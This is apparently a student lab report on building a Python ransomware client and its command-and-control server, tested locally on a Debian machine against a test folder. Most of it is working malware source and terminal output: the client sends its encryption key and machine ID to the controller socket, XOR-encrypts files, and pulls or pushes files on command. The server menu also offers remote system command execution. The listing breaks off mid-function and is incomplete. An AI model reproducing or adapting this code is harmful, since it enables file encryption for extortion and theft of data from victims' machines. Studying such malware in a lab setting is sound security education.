

```
1 import os, socket, subprocess, string
2
3 def get_uid():
4     try: return open("/proc/sys/kernel/random/uuid").read().strip() #
5     except: return "test-uid"
6
7 def get_key():
8     chars = string.ascii_uppercase # [cite: 42]
9     return ''.join(chars[b % 26] for b in os.urandom(16)) # [cite: 41, 43]
10
11 def crypt_files(path, key):
12     for root, dirs, files in os.walk(path): # [cite: 57]
13         for f in files:
14             if f.endswith(".py"): continue
15             p = os.path.join(root, f)
16             try:
17                 with open(p, "rb") as f_in: data = f_in.read()
18                 res = bytes([data[i] ^ key.encode()[i % len(key)] for i in range(len(data))]) # XOR [cite: 54]
19                 with open(p, "wb") as f_out: f_out.write(res)
20             except: pass
21
22 def main():
23     s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
24     try:
25         s.connect(("127.0.0.1", 8888))
26         key, uid = get_key(), get_uid()
27         s.send(f"ID:{uid} | KEY:{key}".encode()) # Exfiltration initiale [cite: 61, 62]
28
29     while True:
30         cmd = s.recv(1024).decode()
31         if not cmd or cmd == "exit": break
32
33         if cmd in ["ENCRYPT", "DECRYPT"]:
34             target = os.path.expanduser("~/Documents/test_attaque") # [cite: 56]
35             crypt_files(target, key)
36             s.send(f"Action {cmd} terminée sur {target}".encode())
37
38         elif cmd.startswith("GET "):
39             p = cmd.split()[1]
40             if os.path.exists(p):
41                 with open(p, "rb") as f: d = f.read()
42                 s.send(str(len(d)).encode())
43                 if s.recv(1024).decode() == "READY": s.sendall(d)
44             else: s.send(b"ERREUR: Fichier absent")
45
46         elif cmd.startswith("SEND "):
47             size = int(s.recv(1024).decode())
48             s.send(b"READY")
```

```
yassine@debian:~/Documents$ python3 c2_server.py
[*] Serveur C2 pret. En attente de la victime...
```

```
yassine@debian:~/Documents$ python3 ransomware_client.py
```

```
yassine@debian:~/Documents$ python3 c2_server.py
[*] Serveur C2 pret. En attente de la victime...

[+] VICTIME CONNECTEE : ID:4add9136-dd03-443a-925c-928daeb923fb | KEY:URBVAHBPODJUUJTJ

--- COMMANDES DE TEST DISPONIBLES ---
ENCRYPT / DECRYPT : Chiffre/Dechiffre le dossier test_attaque
GET <chemin>      : Exfiltrer un fichier (ex: GET test_attaque/secret.txt)
SEND <chemin>     : Infiltrer un fichier (ex: SEND note.txt)
<cmd systeme>    : Execute une commande (ex: ls, whoami, pwd)
exit              : Fermer la connexion

-----
C2 >> |
```

```
yassine@debian:~/Documents/test_attaque$ ls
antivirus IPSSI-SQY secret.txt
yassine@debian:~/Documents/test_attaque$ cat IPSSI-SQY
f##$7"&t
      gs)4,n0=6### f##b-t-#*+0''v!0/1 ,56l]xvc73r#5,#(=17;%2.9&if
.,5:+)!c1o 2(/,$&4kxHyassine@debian:~/Documents/test_attaque$ cat IPSSI-SQY
L'école IPSSI SQY est situé à l'adresse suivante : 8 Rue Germain Soufflot, Montigny-Le-Bretonneux, IDF
yassine@debian:~/Documents/test_attaque$ ^C
```